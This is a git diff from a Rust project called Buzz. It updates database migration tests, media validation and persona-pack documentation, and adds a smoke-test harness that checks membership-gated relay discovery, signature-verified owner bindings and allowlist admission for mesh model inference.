-100,7 +100,7 @@ mod tests { use super::*; use std::collections::BTreeSet; - const TEST_DB_URL: &str = "postgres://buzz:buzz_dev@localhost:5432/buzz"; + const TEST_DB_URL: &str = "postgres://buzz:buzz_dev@localhost:5432/buzz"; // sadscan:disable np.postgres.1 #[derive(Debug, Clone, Copy, PartialEq, Eq)] enum ConstraintKind { @@ -561,7 +561,7 @@ mod tests { let mut migrations: Vec<_> = MIGRATOR.iter().collect(); migrations.sort_by_key(|migration| migration.version); - assert_eq!(migrations.len(), 26); + assert_eq!(migrations.len(), 28); assert_eq!(migrations[0].version, 1); assert_eq!(&*migrations[0].description, "initial schema"); assert!(migrations[0] @@ -919,6 +919,33 @@ mod tests { assert!(heartbeat.contains("epoch")); assert!(heartbeat.contains("INSERT INTO replica_heartbeat (id) VALUES (1)")); assert!(heartbeat.contains("_operator_global_tables")); + // Channel-id lookup index (0027): serves the tenant-independent + // `channels` lookups that carry no community_id predicate, which no + // community_id-leading index can satisfy. Covering + partial so the + // planner can go index-only; asserted NOT UNIQUE because `id` alone is + // not unique in this table (the same channel id may exist under more + // than one community), so a unique index would encode a false + // constraint and fail to build on such a database. + assert_eq!(migrations[26].version, 27); + let channel_id_index = migrations[26].sql.as_str(); + assert!(channel_id_index.contains("idx_channels_id_live")); + assert!(channel_id_index.contains("INCLUDE (community_id)")); + assert!(channel_id_index.contains("WHERE deleted_at IS NULL")); + assert!( + !channel_id_index.contains("CREATE UNIQUE INDEX"), + "channels.id is not unique across communities — index must not be UNIQUE", + ); + assert!( + desired_schema.contains("idx_channels_id_live"), + "desired-state schema must carry the channel-id lookup index", + ); + + assert_eq!(migrations[27].version, 28); + let long_reactions = migrations[27].sql.as_str(); + assert!( + long_reactions.contains("ALTER TABLE reactions ALTER COLUMN emoji TYPE VARCHAR(66)") + ); + assert!(desired_schema.contains("emoji VARCHAR(66) NOT NULL")); } #[test] @@ -1161,7 +1188,7 @@ mod tests { run_migrations(&pool) .await .expect("retry succeeds after operator repair"); - assert_eq!(applied_versions(&pool).await.last().copied(), Some(26)); + assert_eq!(applied_versions(&pool).await.last().copied(), Some(27)); } #[tokio::test] diff --git a/crates/buzz-db/src/relay_members.rs b/crates/buzz-db/src/relay_members.rs index bfc56f82de..402229cdec 100644 --- a/crates/buzz-db/src/relay_members.rs +++ b/crates/buzz-db/src/relay_members.rs @@ -29,14 +29,41 @@ pub struct RelayMember { /// Returns `true` if `pubkey` (64-char hex) is a member of `community`. pub async fn is_relay_member(pool: &PgPool, community: CommunityId, pubkey: &str) -> Result { + let mut conn = pool.acquire().await?; + is_relay_member_on(&mut conn, community, pubkey).await +} + +/// [`is_relay_member`] on a specific session — the replica-routing path runs +/// the lookup on the exact reader connection whose heartbeat observation +/// proved fence coverage. +pub(crate) async fn is_relay_member_on( + conn: &mut sqlx::PgConnection, + community: CommunityId, + pubkey: &str, +) -> Result { let row = sqlx::query("SELECT 1 FROM relay_members WHERE community_id = $1 AND pubkey = $2") .bind(community.as_uuid()) .bind(pubkey) - .fetch_optional(pool) + .fetch_optional(conn) .await?; Ok(row.is_some()) } +/// Returns `true` if any member of `community` holds the `admin` or `owner` +/// role. Open relays don't *enforce* the roster, but startup +/// (`bootstrap_owner`) and operator provisioning still populate it — this is +/// how the workspace-profile gate detects whether a steward exists. +pub async fn has_admin_or_owner(pool: &PgPool, community: CommunityId) -> Result { + let row = sqlx::query( + "SELECT 1 FROM relay_members \ + WHERE community_id = $1 AND role IN ('admin', 'owner') LIMIT 1", + ) + .bind(community.as_uuid()) + .fetch_optional(pool) + .await?; + Ok(row.is_some()) +} + /// Returns the relay member record for `pubkey` in `community`, or `None`. pub async fn get_relay_member( pool: &PgPool, diff --git a/crates/buzz-media/src/validation.rs b/crates/buzz-media/src/validation.rs index f1387fc9d6..450f8f353e 100644 --- a/crates/buzz-media/src/validation.rs +++ b/crates/buzz-media/src/validation.rs @@ -858,7 +858,7 @@ fn validate_mp4_metadata_free(path: &Path) -> Result<(), MediaError> { *b"ftyp", *b"moov", *b"mdat", *b"free", *b"skip", *b"wide", *b"trak", *b"mdia", *b"minf", *b"stbl", *b"edts", *b"dinf", *b"sinf", *b"schi", *b"udta", *b"mvhd", *b"tkhd", *b"mdhd", *b"hdlr", *b"vmhd", *b"smhd", *b"dref", *b"url ", *b"urn ", *b"stsd", *b"stts", *b"stss", - *b"ctts", *b"stsc", *b"stsz", *b"stco", *b"co64", *b"sgpd", *b"sbgp", *b"elst", + *b"ctts", *b"stsc", *b"stsz", *b"stco", *b"co64", *b"sgpd", *b"sbgp", *b"sdtp", *b"elst", ]; fn walk( file: &mut std::fs::File, @@ -2337,6 +2337,31 @@ mod tests { assert!(validate_mp4_metadata_free(tmp.path()).is_ok()); } + #[test] + fn test_accepts_standard_sample_dependency_table() { + let bytes = [ + box_wrap(b"ftyp", b"isom\0\0\0\0isom"), + box_wrap( + b"moov", + &box_wrap( + b"trak", + &box_wrap( + b"mdia", + &box_wrap( + b"minf", + &box_wrap(b"stbl", &box_wrap(b"sdtp", &[0x20, 0x10])), + ), + ), + ), + ), + box_wrap(b"mdat", b""), + ] + .concat(); + let tmp = tempfile::NamedTempFile::new().unwrap(); + std::fs::write(tmp.path(), bytes).unwrap(); + assert!(validate_mp4_metadata_free(tmp.path()).is_ok()); + } + #[test] fn test_rejects_excessive_mp4_box_nesting() { let mut nested = box_wrap(b"free", b""); diff --git a/crates/buzz-persona/PERSONA_PACK_SPEC.md b/crates/buzz-persona/PERSONA_PACK_SPEC.md index 3c5611ba09..cb3a7d1c05 100644 --- a/crates/buzz-persona/PERSONA_PACK_SPEC.md +++ b/crates/buzz-persona/PERSONA_PACK_SPEC.md @@ -909,18 +909,22 @@ at agent startup. ### Desktop App Import -The Buzz desktop app can import persona packs via the Import button: - -- **My Agents → Import**: Accepts `.persona.md` files (individual personas) or `.zip` files - (persona packs detected by `.plugin/plugin.json`). Pack zips are resolved in a temp directory; - each persona is previewed and imported individually into the persona library. -- **My Teams → Import**: Accepts `.zip` files (persona packs). The pack name becomes the team - name; each persona becomes a team member. - -> **Note**: The Import button parses and previews personas from the pack — it does not install the -> pack directory itself. For full pack installation (which copies the pack to -> `/agents/packs//` with re-validation), use the `install_persona_pack` -> Tauri command or a future "Install Pack" UI button. +The Buzz desktop app's **Agents** page does not import persona-pack `.zip` archives or +`.persona.md` files directly. It imports personas and teams as **snapshots** — files exported +from an agent or team that already exists inside the app: + +- **Agents section → Import**: Accepts `.agent.json` or `.agent.png` (an agent snapshot). +- **Agent teams section → Import**: Accepts `.team.json` or `.team.png` (a `buzz-team-snapshot + v1`). A persona-pack `.zip` is rejected outright with an error directing you to export a team + snapshot instead. + +> **Persona packs and desktop snapshots are two separate, non-interchangeable formats today.** +> This spec's pack format (portable, hand-authored, git-friendly) is validated and inspected via +> `buzz pack validate` / `buzz pack inspect` (Section 11). A snapshot is captured *from* an +> already-running agent or team inside the desktop app. Neither format converts into the other: +> there is no command that turns a pack into a snapshot, or a snapshot back into pack source. To +> get a pack's personas running inside the desktop app today, recreate them there by hand using +> `buzz pack inspect`'s resolved config as reference. --- diff --git a/crates/buzz-relay/Cargo.toml b/crates/buzz-relay/Cargo.toml index 41bdc3b9e9..cbad2a3b29 100644 --- a/crates/buzz-relay/Cargo.toml +++ b/crates/buzz-relay/Cargo.toml @@ -86,6 +86,11 @@ dev = ["buzz-auth/dev"] [dev-dependencies] mesh-llm-sdk = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-sdk", default-features = false, features = ["client", "serving"] } mesh-llm-host-runtime = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-host-runtime", default-features = false, features = ["dynamic-native-runtime"] } +# Relay-driven mesh lifecycle smoke (examples/mesh_relay_lifecycle_smoke.rs): +# the relay client for discovery notes and the exact ed25519 the mesh owner +# keys use for binding verification. +buzz-test-client = { path = "../buzz-test-client" } +ed25519-dalek = "=3.0.0-rc.0" buzz-core = { workspace = true, features = ["test-utils"] } buzz-auth = { workspace = true, features = ["dev"] } reqwest = { workspace = true } diff --git a/crates/buzz-relay/examples/mesh_relay_lifecycle_smoke.rs b/crates/buzz-relay/examples/mesh_relay_lifecycle_smoke.rs new file mode 100644 index 0000000000..7544ca09ea --- /dev/null +++ b/crates/buzz-relay/examples/mesh_relay_lifecycle_smoke.rs @@ -0,0 +1,1065 @@ +//! Relay-driven mesh lifecycle smoke — the full Buzz join story, CI-shaped. +//! +//! Unlike `mesh_serve_client_smoke` (Mdns + hand-carried invite token) and +//! `mesh_admission_smoke` (allowlist mechanics, token passed out-of-band), +//! this harness exercises the *relay as the control plane*, the way the +//! desktop app actually joins a mesh: +//! +//! 1. MEMBERSHIP — two Nostr identities are added to a membership-gated +//! buzz-relay (kind:13534 roster via buzz-admin); a third is not. +//! 2. ADVERTISE — each member process publishes a client-signed kind:30003 +//! status note carrying its MeshLLM owner binding +//! (`ownerId`/`ownerVerifyingKey`/`ownerBindingSig`) and, for the serve +//! node, `serveTargets[].endpointAddr` covered by an endpoint binding +//! signature — the exact payload shape the desktop coordinator publishes. +//! 3. TRUST — the serve node derives its admission allowlist from the relay: +//! status notes ∩ membership roster, and requires the *exact* expected +//! owner set before starting with `TrustPolicy::Allowlist`. +//! 4. JOIN — the client node discovers the serve target from the relay, +//! verifies both bindings and membership, and dials the advertised +//! endpoint. No token is ever handed over out-of-band. +//! 5. INFER — a chat completion against the client's local OpenAI endpoint +//! routes over QUIC to the serve node's model. +//! 6. DENY — the stranger's NIP-42 auth must fail with the relay's +//! membership rejection, and even when handed the leaked endpoint +//! address directly it must not complete an inference — *while the +//! trusted client re-verifies inference immediately afterwards*, so a +//! sick serve node cannot masquerade as an admission denial. +//! +//! ## Scope: an independent protocol harness +//! +//! This harness speaks the same wire protocol as the desktop +//! (`desktop/src-tauri/src/mesh_llm/{identity,discovery,coordinator}.rs`) but +//! deliberately re-implements the binding/verification logic rather than +//! linking desktop code (the desktop crate is outside this workspace). The +//! payloads and canonical binding bytes are kept byte-identical — see the +//! keep-in-sync comments below. A regression inside the desktop's own +//! discovery filtering is covered by the desktop unit tests, not this smoke; +//! what this smoke proves is that the relay + mesh-llm SDK + admission stack +//! actually support the lifecycle end to end. +//! +//! One process per node is load-bearing: mesh-llm keeps process-global state +//! (node endpoint key, ownership attestation under `~/.mesh-llm`), so each +//! role runs with an isolated HOME — exactly how the desktop runs it (one +//! machine = one node). +//! +//! Run in CI via `scripts/ci-mesh-lifecycle-smoke.sh` (which provisions the +//! membership-gated relay), or locally: +//! +//! ```text +//! ./scripts/start-relay-for-tests.sh # with membership env set +//! cargo build --profile ci -p buzz-admin +//! BUZZ_ADMIN_BIN=target/ci/buzz-admin \ +//! cargo run --profile ci -p buzz-relay --example mesh_relay_lifecycle_smoke +//! ``` +use std::collections::BTreeSet; +use std::io::{BufRead, Write}; +use std::process::{Child, ChildStdout, Command, ExitStatus, Stdio}; +use std::sync::mpsc; +use std::time::{Duration, Instant}; + +use buzz_test_client::BuzzTestClient; +use ed25519_dalek::{Signature, Verifier, VerifyingKey}; +use mesh_llm_host_runtime::crypto::{load_keystore, save_keystore, OwnerKeypair}; +use mesh_llm_sdk::{client, serve, MeshDiscoveryMode, TrustPolicy}; +use nostr::{Alphabet, Event, EventBuilder, Filter, Keys, Kind, SingleLetterTag, Tag}; +use sha2::{Digest, Sha256}; + +/// NIP-51 bookmark set reused for client-owned mesh discovery notes +/// (`KIND_BUZZ_MESH_MEMBER_STATUS` in the desktop coordinator). +const KIND_MESH_STATUS: u16 = 30_003; +/// NIP-43 membership roster snapshot. +const KIND_MEMBERSHIP: u16 = 13_534; +const STATUS_D_TAG_PREFIX: &str = "buzz-mesh-member-status"; +const STATUS_K_TAG: &str = "buzz-mesh-status"; + +/// Small, real instruct model; same ref the sibling mesh examples use. +const DEFAULT_MODEL: &str = "jc-builds/SmolLM2-135M-Instruct-Q4_K_M-GGUF:Q4_K_M"; + +const SERVE_API_PORT: u16 = 19_537; +const SERVE_CONSOLE_PORT: u16 = 13_331; +const CLIENT_API_PORT: u16 = 19_538; +const CLIENT_CONSOLE_PORT: u16 = 13_332; +const STRANGER_API_PORT: u16 = 19_539; +const STRANGER_CONSOLE_PORT: u16 = 13_333; + +/// The trusted client sees the model within seconds on one box; this bounds +/// the stranger's chance to (fail to) see it. Both windows are overridable +/// via env (`MESH_CLIENT_WINDOW_SECS` / `MESH_STRANGER_WINDOW_SECS`) so CI +/// can pin longer windows on slow shared runners instead of re-running the +/// whole job. +const CLIENT_WINDOW_SECS: u64 = 180; +const STRANGER_WINDOW_SECS: u64 = 60; + +fn window_secs(name: &str, default: u64) -> u64 { + std::env::var(name) + .ok() + .and_then(|value| value.trim().parse().ok()) + .unwrap_or(default) +} + +fn client_window() -> Duration { + Duration::from_secs(window_secs("MESH_CLIENT_WINDOW_SECS", CLIENT_WINDOW_SECS)) +} + +fn stranger_window() -> Duration { + Duration::from_secs(window_secs( + "MESH_STRANGER_WINDOW_SECS", + STRANGER_WINDOW_SECS, + )) +} + +/// Marker the orchestrator writes to the client child's stdin to request the +/// post-attack inference re-verification. +const VERIFY_AGAIN: &str = "VERIFY_AGAIN"; + +fn main() -> anyhow::Result<()> { + match std::env::var("MESH_ROLE").ok().as_deref() { + Some("serve") => run_role(role_serve()), + Some("client") => run_role(role_client()), + Some("stranger") => run_role(role_stranger()), + _ => orchestrate(), + } +} + +/// Run a role future and exit without unwinding through C++ static +/// destructors: once the native runtime has initialized, normal process exit +/// aborts inside ggml's Metal/CPU device teardown, which would mask the real +/// error under a GGML_ASSERT backtrace. +fn run_role(role: impl std::future::Future>) -> anyhow::Result<()> { + match runtime()?.block_on(role) { + Ok(()) => std::process::exit(0), + Err(error) => { + eprintln!("[role] FAILED: {error:#}"); + std::process::exit(1); + } + } +} + +/// mesh-llm's async chains overflow tokio's default 2 MiB worker stacks; the +/// desktop and the mesh binary itself both run 8 MiB workers for this reason. +fn runtime() -> anyhow::Result { + Ok(tokio::runtime::Builder::new_multi_thread() + .enable_all() + .thread_stack_size(8 * 1024 * 1024) + .build()?) +} + +fn env(name: &str) -> anyhow::Result { + std::env::var(name).map_err(|_| anyhow::anyhow!("{name} is required for this role")) +} + +fn relay_ws_url() -> String { + std::env::var("RELAY_URL").unwrap_or_else(|_| "ws://localhost:3000".to_string()) +} + +async fn init_native_runtime() -> anyhow::Result<()> { + // The dynamic host runtime installs the recommended signed native runtime + // on first use when none is cached — the same SDK-owned path the desktop + // relies on. CI caches the install dir across runs. + mesh_llm_host_runtime::initialize_host_runtime() + .await + .map_err(|error| anyhow::anyhow!("MeshLLM host runtime init failed: {error:#}")) +} + +// ── Owner binding payloads ─────────────────────────────────────────────────── +// Byte-for-byte the desktop's `identity::member_binding_bytes` / +// `member_endpoint_binding_bytes`; the client role verifies exactly what the +// desktop coordinator publishes. Keep in sync with +// `desktop/src-tauri/src/mesh_llm/identity.rs`. + +fn member_binding_bytes(member_pubkey: &str) -> Vec { + format!( + "buzz-mesh-owner-binding-v1:{}", + member_pubkey.trim().to_ascii_lowercase() + ) + .into_bytes() +} + +fn member_endpoint_binding_bytes(member_pubkey: &str, endpoint_tokens: &[String]) -> Vec { + let mut endpoints = endpoint_tokens + .iter() + .map(|token| token.trim()) + .filter(|token| !token.is_empty()) + .collect::>(); + endpoints.sort_unstable(); + endpoints.dedup(); + + let mut digest = Sha256::new(); + for endpoint in endpoints { + digest.update((endpoint.len() as u64).to_be_bytes()); + digest.update(endpoint.as_bytes()); + } + format!( + "buzz-mesh-owner-endpoint-binding-v1:{}:{}", + member_pubkey.trim().to_ascii_lowercase(), + hex::encode(digest.finalize()) + ) + .into_bytes() +} + +// ── Relay I/O ──────────────────────────────────────────────────────────────── + +fn status_filter() -> Filter { + Filter::new() + .kind(Kind::Custom(KIND_MESH_STATUS)) + .custom_tag(SingleLetterTag::lowercase(Alphabet::K), STATUS_K_TAG) + .limit(100) +} + +fn membership_filter() -> Filter { + Filter::new().kind(Kind::Custom(KIND_MEMBERSHIP)).limit(1) +} + +async fn query_events( + relay: &mut BuzzTestClient, + filters: Vec, +) -> anyhow::Result> { + let sid = format!("mesh-lifecycle-{}", uuid::Uuid::new_v4().simple()); + relay.subscribe(&sid, filters).await?; + let events = relay + .collect_until_eose(&sid, Duration::from_secs(10)) + .await?; + relay.close_subscription(&sid).await?; + Ok(events) +} + +/// Publish this member's client-signed kind:30003 discovery note — the same +/// payload the desktop coordinator's `bind_payload_to_member` + +/// `build_status_report_event` produce. +async fn publish_status( + relay: &mut BuzzTestClient, + keys: &Keys, + owner: &OwnerKeypair, + serve_targets: &[(String, String)], +) -> anyhow::Result<()> { + let member_pubkey = keys.public_key().to_hex(); + let endpoint_tokens: Vec = serve_targets + .iter() + .map(|(_, endpoint)| endpoint.clone()) + .collect(); + let targets_json: Vec = serve_targets + .iter() + .map(|(model, endpoint)| serde_json::json!({ "modelId": model, "endpointAddr": endpoint })) + .collect(); + let models_json: Vec = serve_targets + .iter() + .map(|(model, _)| serde_json::json!({ "id": model })) + .collect(); + let payload = serde_json::json!({ + "ownerId": owner.owner_id(), + "ownerVerifyingKey": hex::encode(owner.verifying_key().as_bytes()), + "ownerBindingSig": + hex::encode(owner.sign_bytes(&member_binding_bytes(&member_pubkey))), + "ownerEndpointBindingSig": hex::encode(owner.sign_bytes( + &member_endpoint_binding_bytes(&member_pubkey, &endpoint_tokens), + )), + "serveTargets": targets_json, + "models": models_json, + }); + let d_tag = format!("{STATUS_D_TAG_PREFIX}:{}", owner.owner_id()); + let d = Tag::parse(["d", d_tag.as_str()]).map_err(|error| anyhow::anyhow!("{error}"))?; + let k = Tag::parse(["k", STATUS_K_TAG]).map_err(|error| anyhow::anyhow!("{error}"))?; + let event = EventBuilder::new(Kind::Custom(KIND_MESH_STATUS), payload.to_string()) + .tags([d, k]) + .sign_with_keys(keys)?; + let ok = relay.send_event(event).await?; + anyhow::ensure!( + ok.accepted, + "relay rejected mesh status note: {}", + ok.message + ); + Ok(()) +} + +// ── Discovery verification (mirrors desktop `discovery.rs`) ───────────────── + +fn membership_set(events: &[Event]) -> Option> { + events + .iter() + .filter(|event| event.kind.as_u16() == KIND_MEMBERSHIP) + .max_by_key(|event| event.created_at) + .map(|event| { + event + .tags + .iter() + .filter_map(|tag| { + let slice = tag.as_slice(); + let name = slice.first()?; + if name != "member" && name != "p" { + return None; + } + slice + .get(1) + .map(|pubkey| pubkey.trim().to_ascii_lowercase()) + }) + .filter(|pubkey| !pubkey.is_empty()) + .collect() + }) +} + +/// `ownerId` must equal sha256(ownerVerifyingKey) and `ownerBindingSig` must +/// verify against the note's Nostr author — a stored note cannot be re-pointed +/// at someone else's mesh identity. +fn verified_owner_id(event: &Event) -> Option { + let content = serde_json::from_str::(&event.content).ok()?; + let owner_id = content.get("ownerId")?.as_str()?.trim(); + let verifying_key_bytes: [u8; 32] = + hex::decode(content.get("ownerVerifyingKey")?.as_str()?.trim()) + .ok()? + .try_into() + .ok()?; + if owner_id != hex::encode(Sha256::digest(verifying_key_bytes)) { + return None; + } + let signature_bytes = hex::decode(content.get("ownerBindingSig")?.as_str()?.trim()).ok()?; + let signature = Signature::from_slice(&signature_bytes).ok()?; + let verifying_key = VerifyingKey::from_bytes(&verifying_key_bytes).ok()?; + verifying_key + .verify(&member_binding_bytes(&event.pubkey.to_hex()), &signature) + .ok()?; + Some(owner_id.to_string()) +} + +/// Extract `(model_id, endpoint_addr)` pairs from a status note, but only when +/// the endpoint binding signature covers exactly the advertised tokens. +fn verified_serve_targets(event: &Event) -> Vec<(String, String)> { + let Ok(content) = serde_json::from_str::(&event.content) else { + return Vec::new(); + }; + let targets: Vec<(String, String)> = content + .get("serveTargets") + .and_then(serde_json::Value::as_array) + .map(|targets| { + targets + .iter() + .filter_map(|target| { + let model = target.get("modelId")?.as_str()?.trim().to_string(); + let endpoint = target.get("endpointAddr")?.as_str()?.trim().to_string(); + (!endpoint.is_empty()).then_some((model, endpoint)) + }) + .collect() + }) + .unwrap_or_default(); + if targets.is_empty() { + return Vec::new(); + } + let endpoint_tokens: Vec = targets + .iter() + .map(|(_, endpoint)| endpoint.clone()) + .collect(); + let Some(verifying_key) = content + .get("ownerVerifyingKey") + .and_then(serde_json::Value::as_str) + .and_then(|value| hex::decode(value.trim()).ok()) + .and_then(|value| <[u8; 32]>::try_from(value).ok()) + .and_then(|value| VerifyingKey::from_bytes(&value).ok()) + else { + return Vec::new(); + }; + let Some(signature) = content + .get("ownerEndpointBindingSig") + .and_then(serde_json::Value::as_str) + .and_then(|value| hex::decode(value.trim()).ok()) + .and_then(|value| Signature::from_slice(&value).ok()) + else { + return Vec::new(); + }; + let bytes = member_endpoint_binding_bytes(&event.pubkey.to_hex(), &endpoint_tokens); + if verifying_key.verify(&bytes, &signature).is_err() { + return Vec::new(); + } + targets +} + +/// Owner ids of current members with valid owner bindings — the relay-derived +/// admission roster (`owner_ids_from_events` semantics). +fn member_owner_ids(events: &[Event]) -> BTreeSet { + let Some(members) = membership_set(events) else { + return BTreeSet::new(); + }; + events + .iter() + .filter(|event| event.kind.as_u16() == KIND_MESH_STATUS) + .filter(|event| members.contains(&event.pubkey.to_hex().to_ascii_lowercase())) + .filter_map(verified_owner_id) + .collect() +} + +// ── Roles ──────────────────────────────────────────────────────────────────── + +/// SERVE (member A): publish presence, derive the allowlist from the relay, +/// require the exact expected owner set, start an allowlist serve node, +/// publish the endpoint, park. +async fn role_serve() -> anyhow::Result<()> { + init_native_runtime().await?; + let model = std::env::var("MESH_SMOKE_MODEL").unwrap_or_else(|_| DEFAULT_MODEL.to_string()); + let keys = Keys::parse(&env("BUZZ_MEMBER_NSEC")?)?; + let owner = load_keystore(std::path::Path::new(&env("MESH_OWNER_KEY")?), None) + .map_err(|error| anyhow::anyhow!("loading serve owner keystore: {error}"))?; + // The exact owner ids the orchestrator provisioned for members A and B. + // Waiting for this exact set (not a count) means the allowlist can only + // ever contain the intended identities. + let expected_owners: BTreeSet = env("MESH_EXPECTED_OWNERS")? + .split(',') + .map(|id| id.trim().to_string()) + .filter(|id| !id.is_empty()) + .collect(); + anyhow::ensure!( + expected_owners.contains(&owner.owner_id()), + "serve owner id is not in MESH_EXPECTED_OWNERS" + ); + + let mut relay = BuzzTestClient::connect(&relay_ws_url(), &keys) + .await + .map_err(|error| anyhow::anyhow!("serve member relay connect: {error}"))?; + publish_status(&mut relay, &keys, &owner, &[]).await?; + println!("STATUS_PUBLISHED"); + + // TRUST: wait until every expected member owner is visible via the relay + // (statuses ∩ roster), then admit exactly those owners. + let deadline = Instant::now() + Duration::from_secs(120); + loop { + let events = query_events(&mut relay, vec![status_filter(), membership_filter()]).await?; + let mut visible = member_owner_ids(&events); + visible.insert(owner.owner_id()); + if visible.is_superset(&expected_owners) { + break; + } + anyhow::ensure!( + Instant::now() < deadline, + "timed out waiting for expected owners {expected_owners:?}; saw {visible:?}" + ); + tokio::time::sleep(Duration::from_secs(2)).await; + } + let allowlist: Vec = expected_owners.iter().cloned().collect(); + println!("ALLOWLIST:{}", allowlist.join(",")); + // The upcoming serve::start() blocks through a possibly multi-minute model + // download; an idle relay socket gets closed under it. Reconnect after. + let _ = relay.disconnect().await; + + let cfg = serve::EmbeddedServeConfig::builder() + .model(&model) + .api_port(SERVE_API_PORT) + .console_port(SERVE_CONSOLE_PORT) + // Desktop no-leak invariants: never publish mesh presence, never + // auto-discover. The Buzz relay is the only discovery surface. + .publish(false) + .auto_join(false) + .discovery_mode(MeshDiscoveryMode::Nostr) + .console_ui(true) + .startup_timeout(Duration::from_secs(600)) + .owner_key(env("MESH_OWNER_KEY")?) + .owner_required(true) + .trust_policy(TrustPolicy::Allowlist) + .trust_owners(allowlist) + .build(); + let node = serve::start(cfg).await?; + let endpoint = node + .invite_token() + .map(str::to_string) + .ok_or_else(|| anyhow::anyhow!("serve node produced no endpoint address"))?; + println!("ENDPOINT:{endpoint}"); + + let http = reqwest::Client::new(); + let base = node.api_base_url().to_string(); + let served = wait_for_model(&http, &base, Duration::from_secs(600)) + .await? + .ok_or_else(|| anyhow::anyhow!("serve node never loaded the model"))?; + + // ADVERTISE: refresh the status note with the live serve target, exactly + // what the desktop's 45s heartbeat publishes once serving. Fresh relay + // connection — the pre-download socket has long been idle-closed. + let mut relay = BuzzTestClient::connect(&relay_ws_url(), &keys) + .await + .map_err(|error| anyhow::anyhow!("serve member relay reconnect: {error}"))?; + publish_status( + &mut relay, + &keys, + &owner, + &[(served.clone(), endpoint.clone())], + ) + .await?; + println!("READY:{served}"); + + // Park; the orchestrator kills this process when the run is over. + loop { + tokio::time::sleep(Duration::from_secs(3600)).await; + } +} + +/// CLIENT (member B): publish presence, discover + verify the serve target +/// from the relay, dial it, prove inference routes over the mesh — then wait +/// for the orchestrator's `VERIFY_AGAIN` and re-prove inference after the +/// stranger's admission attack, so denial is differential, not absence. +async fn role_client() -> anyhow::Result<()> { + init_native_runtime().await?; + let keys = Keys::parse(&env("BUZZ_MEMBER_NSEC")?)?; + let owner = load_keystore(std::path::Path::new(&env("MESH_OWNER_KEY")?), None) + .map_err(|error| anyhow::anyhow!("loading client owner keystore: {error}"))?; + + let mut relay = BuzzTestClient::connect(&relay_ws_url(), &keys) + .await + .map_err(|error| anyhow::anyhow!("client member relay connect: {error}"))?; + publish_status(&mut relay, &keys, &owner, &[]).await?; + println!("STATUS_PUBLISHED"); + + // JOIN: poll the relay until a *verified* serve target from another member + // appears — membership roster, owner binding, and endpoint binding all + // checked, mirroring `availability_from_events`. + let deadline = Instant::now() + Duration::from_secs(900); + let (endpoint, allowlist) = loop { + let events = query_events(&mut relay, vec![status_filter(), membership_filter()]).await?; + let members = membership_set(&events).unwrap_or_default(); + let target = events + .iter() + .filter(|event| event.kind.as_u16() == KIND_MESH_STATUS) + .filter(|event| members.contains(&event.pubkey.to_hex().to_ascii_lowercase())) + .filter(|event| verified_owner_id(event).is_some_and(|id| id != owner.owner_id())) + .flat_map(verified_serve_targets) + .next(); + if let Some((_, endpoint)) = target { + let owners: Vec = member_owner_ids(&events).into_iter().collect(); + break (endpoint, owners); + } + anyhow::ensure!( + Instant::now() < deadline, + "timed out waiting for a verified serve target on the relay" + ); + tokio::time::sleep(Duration::from_secs(3)).await; + }; + println!("TARGET_FOUND"); + + let cfg = client::EmbeddedClientConfig::builder() + .api_port(CLIENT_API_PORT) + .console_port(CLIENT_CONSOLE_PORT) + .publish(false) + .auto_join(false) + .discovery_mode(MeshDiscoveryMode::Nostr) + .console_ui(true) + .startup_timeout(Duration::from_secs(180)) + .owner_key(env("MESH_OWNER_KEY")?) + .owner_required(true) + .trust_policy(TrustPolicy::Allowlist) + .trust_owners(allowlist) + .build(); + let node = client::start(cfg).await?; + // The relay-discovered endpoint is the dial target — the same + // `dial_endpoint_addr` step the desktop's join watcher performs. The + // desktop's watcher retries every 15s (a first QUIC dial can time out + // while the serve node's endpoint is still warming up). mesh-llm itself + // retries internally per attempt, so keep the outer budget small. + let mut dial_result = Ok(()); + for attempt in 1..=3u32 { + dial_result = node.join_token(&endpoint).await; + match &dial_result { + Ok(()) => break, + Err(error) => { + eprintln!("[client] dial attempt {attempt}/3 failed: {error:#}"); + tokio::time::sleep(Duration::from_secs(5)).await; + } + } + } + dial_result?; + + let http = reqwest::Client::new(); + let base = node.api_base_url().to_string(); + let Some(model) = wait_for_model(&http, &base, client_window()).await? else { + println!("NONE"); + let _ = node.stop().await; + std::process::exit(0); + }; + println!("SEEN:{model}"); + match try_completion(&http, &base, &model).await { + Ok(content) => println!("INFER_OK:{content}"), + Err(error) => { + println!("INFER_FAIL:{error}"); + let _ = node.stop().await; + std::process::exit(0); + } + } + + // Post-attack health proof: hold the mesh session open until the + // orchestrator has run the stranger, then prove the serve node still + // routes trusted inference. This is what makes the stranger's failure an + // admission denial rather than a dead server. + let line = tokio::task::spawn_blocking(|| { + let mut line = String::new(); + std::io::stdin().read_line(&mut line).map(|_| line) + }) + .await??; + if line.trim() == VERIFY_AGAIN { + match try_completion(&http, &base, &model).await { + Ok(content) => println!("INFER_AGAIN_OK:{content}"), + Err(error) => println!("INFER_AGAIN_FAIL:{error}"), + } + } + let _ = node.stop().await; + // Skip C++ static destructors (ggml aborts in global teardown). + std::process::exit(0); +} + +/// STRANGER (non-member C): NIP-42 auth must fail with the relay's membership +/// rejection, and the mesh must not route inference for it even with the +/// leaked endpoint address. +async fn role_stranger() -> anyhow::Result<()> { + let keys = Keys::parse(&env("BUZZ_MEMBER_NSEC")?)?; + let leaked_endpoint = env("MESH_LEAKED_ENDPOINT")?; + + // DENY (relay read): the membership-gated relay must reject the + // stranger's NIP-42 auth with its membership error specifically. Any + // other failure (relay down, timeout) is inconclusive and fails the + // test; a successful auth is a gating regression and also fails. + match BuzzTestClient::connect(&relay_ws_url(), &keys).await { + Err(error) => { + let message = error.to_string(); + if message.contains("not a relay member") { + println!("RELAY_DENIED_MEMBERSHIP"); + } else { + println!("RELAY_ERR:{message}"); + } + } + Ok(mut relay) => { + let statuses = query_events(&mut relay, vec![status_filter()]) + .await + .map(|events| { + events + .iter() + .filter(|event| event.kind.as_u16() == KIND_MESH_STATUS) + .count() + }) + .unwrap_or(usize::MAX); + println!("RELAY_AUTH_OK:{statuses}"); + let _ = relay.disconnect().await; + } + } + + // DENY (admission): dial the serve node directly with the leaked endpoint. + // The stranger's owner id is not on the allowlist, so the mesh must refuse + // to route anything to it. Note the dial itself may locally "succeed" — + // mesh-llm applies the receiving node's owner policy after the handshake — + // so the decisive probe is routed inference, cross-checked against the + // trusted client's post-attack inference by the orchestrator. + init_native_runtime().await?; + let cfg = client::EmbeddedClientConfig::builder() + 